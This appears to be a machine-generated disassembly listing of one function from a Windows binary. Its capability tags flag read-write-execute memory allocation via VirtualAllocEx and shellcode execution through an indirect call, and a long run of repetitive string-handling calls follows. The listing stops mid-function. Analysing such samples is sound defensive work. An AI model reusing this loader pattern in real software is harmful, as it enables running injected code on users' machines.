Function at 0x10005c98
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
call fcn.1000a385
mov dword [0x100594d6], 0x98a067
mov dword [ebp - 4], esp
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x10005ccf
push 6
call fcn.1003356f
add esp, 4
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push 0x40
push 0x1000
push 0x64
push 0
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x10005d08
push 6
call fcn.1003356f
add esp, 4
mov dword [0x100594da], eax
push dword [0x100594d6]
call fcn.1002b246
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0
push 0
push dword [ebp - 8]
push dword [ebp - 4]
push dword [0x100594da]
call fcn.10016234
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 0x12c
call fcn.1000cb2d
mov dword [ebp - 4], esp
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x10005d6a
push 6
call fcn.1003356f
add esp, 4
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push 0x40
push 0x1000
push 0x64
push 0
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x10005da3
push 6
call fcn.1003356f
add esp, 4
mov dword [0x100594de], eax
push 0x98b05a
call fcn.1002b246
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0
push 0
push dword [ebp - 8]
push dword [ebp - 4]
push dword [0x100594de]
call fcn.10016234
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
mov eax, 0x1005660b
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.1000368c
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x10005dff
push ebx
call fcn.1003357b
add esp, 4
push 1
push dword [ebp - 0xc]
push 0x100594e2
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 8]
mov dword [0x100594e6], 0x12db21a
call fcn.1002b2ad
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
mov dword [ebp - 8], 0
push 0
push dword [ebp - 8]
push 0x70
push 0x1002dcbe
call fcn.10004f00
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
mov dword [ebp - 8], 0
push 0
push dword [ebp - 8]
push 0x72
push 0x1002e5a5
call fcn.10004f00
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
mov dword [ebp - 8], 0
push 0
push dword [ebp - 8]
push 0x73
push 0x1002eef8
call fcn.10004f00
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
mov dword [ebp - 8], 0
push 0
push dword [ebp - 8]
push 0x74
push 0x1002f16b
call fcn.10004f00
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
mov dword [ebp - 8], 0
push 0
push dword [ebp - 8]
push 0x75
push 0x10030ed0
call fcn.10004f00
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
mov dword [ebp - 8], 0
push 0
push dword [ebp - 8]
push 0x76
push 0x10030edc
call fcn.10004f00
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
mov dword [ebp - 8], 0
push 0
push dword [ebp - 8]
push 0x77
push 0x100310d7
call fcn.10004f00
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
mov dword [ebp - 8], 0
push 0
push dword [ebp - 8]
push 0xc0
push 0x100321ee
call fcn.10004f00
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
mov dword [ebp - 8], 0
push 0
push dword [ebp - 8]
push 0x56
push 0x100321fa
call fcn.10004f00
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
mov dword [ebp - 8], 0
push 0
push dword [ebp - 8]
push 0x42
push 0x10032630
call fcn.10004f00
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 1
push 0x26
push 0x1003263c
call fcn.10004f00
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 1
push 0x28
push 0x10032648
call fcn.10004f00
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 1
push 0x25
push 0x10032654
call fcn.10004f00
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 1
push 0x27
push 0x10032660
call fcn.10004f00
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 2
push 0x26
push 0x1003266c
call fcn.10004f00
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 2
push 0x28
push 0x10032678
call fcn.10004f00
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 2
push 0x25
push 0x10032684
call fcn.10004f00
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 2
push 0x27
push 0x10032690
call fcn.10004f00
push 0xa0000101
push 0
push 0x10056613
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 4], eax
push 0xa0000101
push 0
push 0x10056621
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 8], eax
push dword [0x100594b6]
push dword [ebp - 8]
mov ecx, 2
call fcn.100011c0
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x10006123
push ebx
call fcn.1003357b
add esp, 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
call fcn.100033ac
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x10006143
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x10006153
push ebx
call fcn.1003357b
add esp, 4
push 0xa0000101
push 0
push 0x1005662c
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x14], eax
push 0xa0000101
push 0
push 0x1005663c
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x18], eax
push dword [0x100594b6]
push dword [ebp - 0x18]
mov ecx, 2
call fcn.100011c0
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x100061be
push ebx
call fcn.1003357b
add esp, 4
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.100033ac
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x100061de
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x100061ee
push ebx
call fcn.1003357b
add esp, 4
push dword [ebp - 0x20]
push dword [0x100594ea]
push dword [ebp - 0x10]
mov ecx, 3
call fcn.100011c0
add esp, 0xc
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x1000621a
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x1000622a
push ebx
call fcn.1003357b
add esp, 4
push 0xa0000101
push 0
push 0x10056647
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x28], eax
push 0xa0000101
push 0
push 0x1005665f
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x2c], eax
push dword [0x100594b6]
push dword [ebp - 0x2c]
mov ecx, 2
call fcn.100011c0
add esp, 8
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x10006295
push ebx
call fcn.1003357b
add esp, 4
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.100033ac
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x100062b5
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x100062c5
push ebx
call fcn.1003357b
add esp, 4
push 0xa0000101
push 0
push 0x10056669
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x38], eax
push 0xa0000101
push 0
push 0x1005667d
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x3c], eax
push dword [0x100594b6]
push dword [ebp - 0x3c]
mov ecx, 2
call fcn.100011c0
add esp, 8
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x10006330
push ebx
call fcn.1003357b
add esp, 4
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x38]
push eax
call fcn.100033ac
mov dword [ebp - 0x44], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x10006350
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x10006360
push ebx
call fcn.1003357b
add esp, 4
push 0xa0000301
push 0
push 0x1005648b
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x48], eax
push 0xa0000101
push 0
push 0x10056686
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x4c], eax
push dword [0x100594b6]
push dword [ebp - 0x4c]
mov ecx, 2
call fcn.100011c0
add esp, 8
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x100063cb
push ebx
call fcn.1003357b
add esp, 4
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.100033ac
mov dword [ebp - 0x54], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x100063eb
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x100063fb
push ebx
call fcn.1003357b
add esp, 4
push 0x80000004
push 0
mov eax, dword [ebp - 0x54]
test eax, eax
jne 0x1000640e
mov eax, 0x100563e4
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x10006422
mov eax, 0x100563e4
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x10006436
mov eax, 0x100563e4
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x1000644a
mov eax, 0x100563e4
push eax
push 4
mov ebx, 0x8c8
call fcn.10033d10
add esp, 0x34
mov dword [ebp - 0x58], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x10006470
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x10006480
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10006490
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x100064a0
push ebx
call fcn.1003357b
add esp, 4
push 0xa0000301
push 0
push 0x1005648b
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x5c], eax
push 0xa0000101
push 0
push 0x10056691
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x60], eax
push dword [0x100594b6]
push dword [ebp - 0x60]
mov ecx, 2
call fcn.100011c0
add esp, 8
mov dword [ebp - 0x64], eax
mov ebx, dword [ebp - 0x60]
test ebx, ebx
je 0x1000650b
push ebx
call fcn.1003357b
add esp, 4
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x5c]
push eax
call fcn.100033ac
mov dword [ebp - 0x68], eax
mov ebx, dword [ebp - 0x5c]
test ebx, ebx
je 0x1000652b
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x64]
test ebx, ebx
je 0x1000653b
push ebx
call fcn.1003357b
add esp, 4
mov eax, dword [ebp - 0x68]
push eax
push dword [ebp - 0x58]
call fcn.10001b74
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x6c], eax
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x10006568
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x68]
test ebx, ebx
je 0x10006578
push ebx
call fcn.1003357b
add esp, 4
cmp dword [ebp - 0x6c], 0
je 0x10006967
push 0xa0000101
push 0
push 0x1005669c
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 4], eax
push 0xa0000101
push 0
push 0x100566aa
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 8], eax
push dword [0x100594b6]
push dword [ebp - 8]
mov ecx, 2
call fcn.100011c0
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x100065ed
push ebx
call fcn.1003357b
add esp, 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
call fcn.100033ac
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x1000660d
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x1000661d
push ebx
call fcn.1003357b
add esp, 4
push 0xa0000101
push 0
push 0x100566b5
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x14], eax
push 0xa0000101
push 0
push 0x100566c5
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x18], eax
push dword [0x100594b6]
push dword [ebp - 0x18]
mov ecx, 2
call fcn.100011c0
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x10006688
push ebx
call fcn.1003357b
add esp, 4
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.100033ac
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x100066a8
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x100066b8
push ebx
call fcn.1003357b
add esp, 4
push dword [ebp - 0x20]
push dword [0x100594ea]
push dword [ebp - 0x10]
mov ecx, 3
call fcn.100011c0
add esp, 0xc
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x100066e4
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x100066f4
push ebx
call fcn.1003357b
add esp, 4
push 0xa0000101
push 0
push 0x100566d0
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x28], eax
push 0xa0000101
push 0
push 0x100566e8
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x2c], eax
push dword [0x100594b6]
push dword [ebp - 0x2c]
mov ecx, 2
call fcn.100011c0
add esp, 8
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x1000675f
push ebx
call fcn.1003357b
add esp, 4
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.100033ac
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x1000677f
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000678f
push ebx
call fcn.1003357b
add esp, 4
push 0xa0000101
push 0
push 0x100566f3
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x38], eax
push 0xa0000101
push 0
push 0x10056707
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x3c], eax
push dword [0x100594b6]
push dword [ebp - 0x3c]
mov ecx, 2
call fcn.100011c0
add esp, 8
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x100067fa
push ebx
call fcn.1003357b
add esp, 4
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x38]
push eax
call fcn.100033ac
mov dword [ebp - 0x44], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x1000681a
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x1000682a
push ebx
call fcn.1003357b
add esp, 4
push 0xa0000101
push 0
push 0x10056712
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x48], eax
push 0xa0000101
push 0
push 0x1005671e
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x4c], eax
push dword [0x100594b6]
push dword [ebp - 0x4c]
mov ecx, 2
call fcn.100011c0
add esp, 8
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10006895
push ebx
call fcn.1003357b
add esp, 4
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.100033ac
mov dword [ebp - 0x54], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x100068b5
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x100068c5
push ebx
call fcn.1003357b
add esp, 4
push 0x80000004
push 0
mov eax, dword [ebp - 0x54]
test eax, eax
jne 0x100068d8
mov eax, 0x100563e4
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x100068ec
mov eax, 0x100563e4
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x10006900
mov eax, 0x100563e4
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x10006914
mov eax, 0x100563e4
push eax
push 4
mov ebx, 0x8cc
call fcn.100350b0
add esp, 0x34
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x10006937
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x10006947
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10006957
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x10006967
push ebx
call fcn.1003357b
add esp, 4
push 0xa0000101
push 0
push 0x10056729
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 4], eax
push 0xa0000101
push 0
push 0x10056480
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 8], eax
push dword [0x100594b6]
push dword [ebp - 8]
mov ecx, 2
call fcn.100011c0
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x100069d2
push ebx
call fcn.1003357b
add esp, 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
call fcn.100033ac
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x100069f2
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x10006a02
push ebx
call fcn.1003357b
add esp, 4
push 0xa0000101
push 0
push 0x10056737
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x14], eax
push 0xa0000101
push 0
push 0x10056747
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x18], eax
push dword [0x100594b6]
push dword [ebp - 0x18]
mov ecx, 2
call fcn.100011c0
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x10006a6d
push ebx
call fcn.1003357b
add esp, 4
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.100033ac
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x10006a8d
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x10006a9d
push ebx
call fcn.1003357b
add esp, 4
push dword [ebp - 0x20]
push dword [0x100594ea]
push dword [ebp - 0x10]
mov ecx, 3
call fcn.100011c0
add esp, 0xc
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x10006ac9
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x10006ad9
push ebx
call fcn.1003357b
add esp, 4
push 0xa0000101
push 0
push 0x10056752
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x28], eax
push 0xa0000101
push 0
push 0x1005676a
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x2c], eax
push dword [0x100594b6]
push dword [ebp - 0x2c]
mov ecx, 2
call fcn.100011c0
add esp, 8
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x10006b44
push ebx
call fcn.1003357b
add esp, 4
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.100033ac
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x10006b64
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x10006b74
push ebx
call fcn.1003357b
add esp, 4
push 0xa0000101
push 0
push 0x10056775
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x38], eax
push 0xa0000101
push 0
push 0x1005678d
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x3c], eax
push dword [0x100594b6]
push dword [ebp - 0x3c]
mov ecx, 2
call fcn.100011c0
add esp, 8
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x10006bdf
push ebx
call fcn.1003357b
add esp, 4
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x38]
push eax
call fcn.100033ac
mov dword [ebp - 0x44], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x10006bff
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x10006c0f
push ebx
call fcn.1003357b
add esp, 4
push 0xa0000301
push 0
push 0x1005648b
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x48], eax
push 0xa0000101
push 0
push 0x10056798
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x4c], eax
push dword [0x100594b6]
push dword [ebp - 0x4c]
mov ecx, 2
call fcn.100011c0
add esp, 8
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10006c7a
push ebx
call fcn.1003357b
add esp, 4
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.100033ac
mov dword [ebp - 0x54], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10006c9a
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x10006caa
push ebx
call fcn.1003357b
add esp, 4
push 0x80000004
push 0
mov eax, dword [ebp - 0x54]
test eax, eax
jne 0x10006cbd
mov eax, 0x100563e4
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x10006cd1
mov eax, 0x100563e4
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x10006ce5
mov eax, 0x100563e4
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x10006cf9
mov eax, 0x100563e4
push eax
push 4
mov ebx, 0x8c8
call fcn.10033d10
add esp, 0x34
mov dword [ebp - 0x58], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x10006d1f
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x10006d2f
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10006d3f
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x10006d4f
push ebx
call fcn.1003357b
add esp, 4
push 0xa0000301
push 0
push 0x1005648b
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x5c], eax
push 0xa0000101
push 0
push 0x100567a3
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x60], eax
push dword [0x100594b6]
push dword [ebp - 0x60]
mov ecx, 2
call fcn.100011c0
add esp, 8
mov dword [ebp - 0x64], eax
mov ebx, dword [ebp - 0x60]
test ebx, ebx
je 0x10006dba
push ebx
call fcn.1003357b
add esp, 4
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x5c]
push eax
call fcn.100033ac
mov dword [ebp - 0x68], eax
mov ebx, dword [ebp - 0x5c]
test ebx, ebx
je 0x10006dda
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x64]
test ebx, ebx
je 0x10006dea
push ebx
call fcn.1003357b
add esp, 4
mov eax, dword [ebp - 0x68]
push eax
push dword [ebp - 0x58]
call fcn.10001b74
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x6c], eax
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x10006e17
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x68]
test ebx, ebx
je 0x10006e27
push ebx
call fcn.1003357b
add esp, 4
cmp dword [ebp - 0x6c], 0
je 0x10007216
push 0xa0000101
push 0
push 0x100567ae
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 4], eax
push 0xa0000101
push 0
push 0x100567bc
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 8], eax
push dword [0x100594b6]
push dword [ebp - 8]
mov ecx, 2
call fcn.100011c0
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x10006e9c
push ebx
call fcn.1003357b
add esp, 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
call fcn.100033ac
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x10006ebc
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x10006ecc
push ebx
call fcn.1003357b
add esp, 4
push 0xa0000101
push 0
push 0x100567c7
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x14], eax
push 0xa0000101
push 0
push 0x100567d7
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x18], eax
push dword [0x100594b6]
push dword [ebp - 0x18]
mov ecx, 2
call fcn.100011c0
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x10006f37
push ebx
call fcn.1003357b
add esp, 4
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.100033ac
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x10006f57
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x10006f67
push ebx
call fcn.1003357b
add esp, 4
push dword [ebp - 0x20]
push dword [0x100594ea]
push dword [ebp - 0x10]
mov ecx, 3
call fcn.100011c0
add esp, 0xc
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x10006f93
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x10006fa3
push ebx
call fcn.1003357b
add esp, 4
push 0xa0000101
push 0
push 0x100567e2
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x28], eax
push 0xa0000101
push 0
push 0x100566aa
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x2c], eax
push dword [0x100594b6]
push dword [ebp - 0x2c]
mov ecx, 2
call fcn.100011c0
add esp, 8
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x1000700e
push ebx
call fcn.1003357b
add esp, 4
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.100033ac
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x1000702e
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000703e
push ebx
call fcn.1003357b
add esp, 4
push 0xa0000101
push 0
push 0x100567fa
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x38], eax
push 0xa0000101
push 0
push 0x10056812
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x3c], eax
push dword [0x100594b6]
push dword [ebp - 0x3c]
mov ecx, 2
call fcn.100011c0
add esp, 8
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x100070a9
push ebx
call fcn.1003357b
add esp, 4
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x38]
push eax
call fcn.100033ac
mov dword [ebp - 0x44], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
